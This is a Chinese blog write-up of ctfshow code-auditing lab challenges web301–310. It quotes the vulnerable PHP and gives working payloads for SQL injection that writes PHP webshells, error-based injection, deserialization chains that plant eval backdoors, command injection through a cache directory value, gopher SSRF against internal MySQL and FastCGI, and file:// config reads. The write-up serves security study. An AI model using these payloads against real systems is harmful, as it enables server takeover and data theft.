MENU

代码审计学习-ctfshow

February 1, 2022 • Read: 530 • Code auditing

前言

之前打比赛,还是觉得自己代码基础太差了,所以来打一下ctfhshow的代码审计靶场

web301

关键点在checklogin.php中

<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";//判断userid是否为空,空的话返回空
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";//判断userpwd是否为空,空的话返回空
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";//绕过"可造成sql注入
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
    $_SESSION['error']="1";
    header("location:login.php");
    return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
    $_SESSION['login']=1;
    $result->free();
    $mysqli->close();
    header("location:index.php");
    return;
}
$_SESSION['error']="1";
header("location:login.php");

?>

进行了比较并没有回显,普通的SQL注入无法使用

方法一:写shell

mysql写shell的条件:

  • web目录具有写权限,能够使用单引号
  • 知道绝对路径
  • Secure_file_priv无具体值

然后ctfshow的web的绝对路径都是/var/www/html/
然后来试试

userid=a' union select "<?php phpinfo();?>" into outfile "/var/www/html/shell.php"#&userpwd=1

E40$A]64Q6_1D0@HPEG[$4M.png

发现确实可以,然后就能getshell了

方法二:临时用户

原理:

mysql的特性, 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户

所以

userid=a' union select 1# ';&userpwd=1

然后再
username=a' union select 1#
pssword=1
进入后台
U3)H0B0N20CH`6KQI9AEXEL.png

方法三:时间盲注
因为没有回显的sql语句,可以直接跑时间盲注脚本或者工具,这里就不多简绍了

web302

这个题与上一题的修改就一个地方

if(!strcasecmp($userpwd,$row['sds_password']))

sds_password这个函数是在fun.php

<?php
function sds_decode($str){
    return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>

方法一:写shell
但是如果直接写文件还是没有影响,因为sql语句已经执行了

userid=a' union select "<?php @eval($_POST[m1]);?>" into outfile "/var/www/html/shell.php"#&userpwd=1

但是如果直接rce会发现会报错,所以上马连蚁剑
CJTYWMH$B58O0OFVAQ72)K0.png

方法二:临时用户
因为过滤了需要满足POST传入的userpwd与sql里面查出来的sds_password相等就可以为了
又sds_password的值是通过加密的password的值
所以只需要

user:1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#
passwd:1

方法三:时间盲注
其实已经可以,因为sql语句执行在前面

web303

因为
VHT)UFZNB`_AWOJLJ{IF}PM.png

这个地方做了长度限制
导致这个sql注入点被限制
但是发现多了dpt.php和dptadd.php
在dptadd.php找到新的注入点,而且还没有过滤,但是需要我们登录后台

$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
    $result=$mysqli->query($sql);
    echo $sql;

然后在sds_user.sql里面找到

INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');

然后本来不知道密文,但是admin/admin 试了进去,然后想了一下,发现就是它本身的sds_decode加密
进去发现有个网页一览注入点就在新增那里
然后因为语句是insert 所以直接报错注入

dpt_name=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0)#
dpt_name=-1'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')),0)#

但是查flag时的数据不全,我这里使用了left,right函数

dpt_name=-1'and(select updatexml(1,concat(0x7e,(select left(flag,30) from  sds_fl9g)),0x7e))#
dpt_name=-1'and(select updatexml(1,concat(0x7e,(select right(flag,30) from  sds_fl9g)),0x7e))#

把得到flag拼接就行

web304

题目提示:增加了全局waf

function sds_waf($str){
    return preg_match('/[0-9]|[a-z]|-/i', $str);
}

但是给的源码里没有,经过测试也没有过滤
所以直接用上题的payload就行,只是库名变为了sds_flaag

web305

确实增添了全局waf

function sds_waf($str){
    if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
        return false;
    }else{
        return true;
    }
}

sql注入确实不太好用了,但是多了一个class.php

class user{
    public $username;
    public $password;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __destruct(){
        file_put_contents($this->username, $this->password);
    }
}

明显写文件
然后在checklogin.php有触发点,而且我们还能编码绕过waf
8D)B~6Z@99`RV221~A@~4NO.png

然后上蚁剑,在conn.php找到数据库的账号密码,来直接远程连接就行
LK5JIU792W64A8X(YLMLY3Q.png

web306

在class.php页面发现有写文件的地方

class log{
    public $title='log.txt';
    public $info='';
    public function loginfo($info){
        $this->info=$this->info.$info;
    }
    public function close(){
        file_put_contents($this->title, $this->info);
    }

}

然后在dao.php看见了利用点

private function init(){
        $this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
    }
    public function __destruct(){
        $this->conn->close();
    }

很明显的触发点为_destruct
所以很简单的利用点在index.php那里user传参,所以paylaod:

<?php
class dao{

    private $conn;

    public function __construct(){
        $this->conn=new log();

    }}
class log{
    public $title='m1.php';
    public $info='<?php eval($_POST[m1]); ?>';

}
$a=new dao();
echo base64_encode(serialize($a));//TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo2OiJtMS5waHAiO3M6NDoiaW5mbyI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbbTFdKTsgPz4iO319

然后连接蚁剑找到flag.php就行

web307

一步一步看,和上一题不一样了,因为index.php并没有包含dao.php
还是在dao.php里面找到危险函数shell_exec

public function  clearCache(){
        shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
    }

但是这里还需要很简单d绕一下
在logout.php调用这个函数的点

$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    $service->clearCache();
}

然后就是函数的参数是在config.php中
所以paylaod

<?php
class dao
{
    private $config;

    public function __construct()
    {
        $this->config = new config();
    }

    public function clearCache()
    {
        shell_exec('rm -rf ./' . $this->config->cache_dir . '/*');
    }

}
class config{
public $cache_dir = ';echo  `cat /var/www/html/f*` > m1.txt;';
}
$m1=new dao();
echo base64_encode(serialize($m1));//TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6Mzk6IjtlY2hvICBgY2F0IC92YXIvd3d3L2h0bWwvZipgID4gbTEudHh0OyI7fX0=

然后controller/logout.php抓包传值,然后在controller/m1.txt中找到flag

web308

康康代码先发现之前的利用点过滤了只能是数字符号了

public function  clearCache(){
        if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){
            shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
        }
    }

然后在fun.php里面发现利用点

function checkUpdate($url){
        $ch=curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $res = curl_exec($ch);
        curl_close($ch);
        return $res;
    }

明显是打mysql的ssrf了,再往回看dao.php

    public function checkVersion(){
        return checkUpdate($this->config->update_url);
    }

是在config.php的config类里面定义的变量
而且用户名为root,密码为空,端口为3306
先工具
WF9~D@Z3Q79}2@8SPWH1{SW.png

所以paylaod

<?php
class config{
    public $update_url ='gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4a%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%6d%31%5d%29%3b%20%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6d%31%2e%70%68%70%27%3b%01%00%00%00%01';
}
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();

    }}

$m1=new dao();
echo base64_encode(serialize($m1));

然后连蚁剑得到flag
0HH23S$LSWTEMKALUKH.png

web309

这题的源码有了变化,数据库端口为9000了,而且有密码了
还是一样的只不过是fastcgi了
参考链接:https://www.anquanke.com/post/id/186186
117B[F_5_2IG[FF5)%{F{_Y.png

然后paylaod

class config{
               public $update_url ='gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH60%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3C%04%00%3C%3Fphp%20system%28%27cat%20./f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
';

}
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
        
    }}

$m1=new dao();
echo base64_encode(serialize($m1));//TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo1Nzc6ImdvcGhlcjovLzEyNy4wLjAuMTo5MDAwL18lMDElMDElMDAlMDElMDAlMDglMDAlMDAlMDAlMDElMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlRjYlMDYlMDAlMEYlMTBTRVJWRVJfU09GVFdBUkVnbyUyMC8lMjBmY2dpY2xpZW50JTIwJTBCJTA5UkVNT1RFX0FERFIxMjcuMC4wLjElMEYlMDhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMSUwRSUwMkNPTlRFTlRfTEVOR1RINjAlMEUlMDRSRVFVRVNUX01FVEhPRFBPU1QlMDlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUlMjAlM0QlMjBPbiUwQWRpc2FibGVfZnVuY3Rpb25zJTIwJTNEJTIwJTBBYXV0b19wcmVwZW5kX2ZpbGUlMjAlM0QlMjBwaHAlM0EvL2lucHV0JTBGJTA5U0NSSVBUX0ZJTEVOQU1FaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDAlM0MlMDQlMDAlM0MlM0ZwaHAlMjBzeXN0ZW0lMjglMjdjYXQlMjAuL2YlMkElMjclMjklM0JkaWUlMjglMjctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0lMEElMjclMjklM0IlM0YlM0UlMDAlMDAlMDAlMDAiO319

E5YCR4DYH160N83W7.png

web310

源码没有修改,但是也、cat不到flag,用find命令找flag,发现在/var/flag,但是无法直接读取,尝试用file伪协议去读取配置文件nginx.conf

<?php
class config{
    
    
    public $update_url ="file:///etc/nginx/nginx.conf";
}
class dao{
    
    
    private $config;

    public function __construct(){
    
    
        $this->config=new config();
    }
}
$m1=new dao();
echo base64_encode(serialize($m1));
//TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyODoiZmlsZTovLy9ldGMvbmdpbngvbmdpbnguY29uZiI7fX0=

WWPY57MBK6PS8ZJ2J.png

server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;
}

//每一个http块都可以包含多个server块,而每个server块就相当于一台虚拟主机,它内部可有多台主机联合提供服务,一起对外提供在逻辑上关系密切的一组服务

然后发现flag目录
访问4476端口

<?php
class config{
    public $update_url = 'http://127.0.0.1:4476';
}    

class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}

$m1=new dao();
echo base64_encode(serialize($m1));

得到flag

Last Modified: March 11, 2022
Archives Tip
QR Code for this page
Tipping QR Code